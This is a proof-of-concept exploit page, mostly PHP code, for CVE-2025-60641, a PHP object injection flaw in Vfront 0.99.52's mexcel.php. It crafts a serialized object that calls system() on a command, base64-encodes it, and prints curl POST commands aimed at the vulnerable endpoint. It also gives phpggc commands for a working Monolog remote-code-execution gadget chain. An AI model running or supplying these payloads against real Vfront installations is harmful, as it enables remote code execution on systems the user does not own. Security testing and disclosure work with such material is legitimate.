CVE-2025-60641：Vfront 0.99.52 PHP对象注入漏洞

<?php /** * CVE-2025-60641 - Vfront 0.99.52 PHP Object Injection PoC * Vulnerability: Unsafe unserialize() in mexcel.php * * This PoC demonstrates how to craft a malicious serialized payload * that exploits the unsafe unserialize() call in mexcel.php. * * Usage: * 1. Generate payload: php poc.php * 2. Send the output as POST parameter 'mexcel' to mexcel.php */ // Example: Simple PHP Object Injection payload // In a real scenario, you would use a gadget chain from // the application's dependencies (e.g., Monolog, Guzzle, etc.) class ExploitObject { public $command; public function __destruct() { // This will be triggered automatically during unserialization cleanup // In real exploitation, this would be replaced with a gadget chain // that leads to code execution if (isset($this->command)) { system($this->command); } } } // Step 1: Create the malicious object $payload = new ExploitObject(); $payload->command = "id; whoami"; // Command to execute // Step 2: Serialize the object $serialized = serialize($payload); // Step 3: Base64 encode the serialized data $encoded = base64_encode($serialized); echo "[*] CVE-2025-60641 PoC Payload\n"; echo "[*] Serialized: " . $serialized . "\n"; echo "[*] Base64 Encoded: " . $encoded . "\n"; echo "[*] Send as POST parameter 'mexcel' to the vulnerable mexcel.php\n"; echo "\n[*] Example curl command:\n"; echo "curl -X POST -d 'mexcel=" . $encoded . "' http://target/vfront/mexcel.php\n"; // Alternative: Using existing PHP gadget chains (e.g., from phpggc) // phpggc -l monolog/rce1 -b -u "id" // The output can be sent as the 'mexcel' parameter ?> <?php /** * Alternative PoC using curl directly with a known gadget chain * Requires phpggc tool: https://github.com/ambionics/phpggc * * Generate payload: * phpggc monolog/rce1 system 'id' -b * * Then send: * curl -X POST --data-urlencode "mexcel=<BASE64_PAYLOAD>" http://target/mexcel.php */ ?>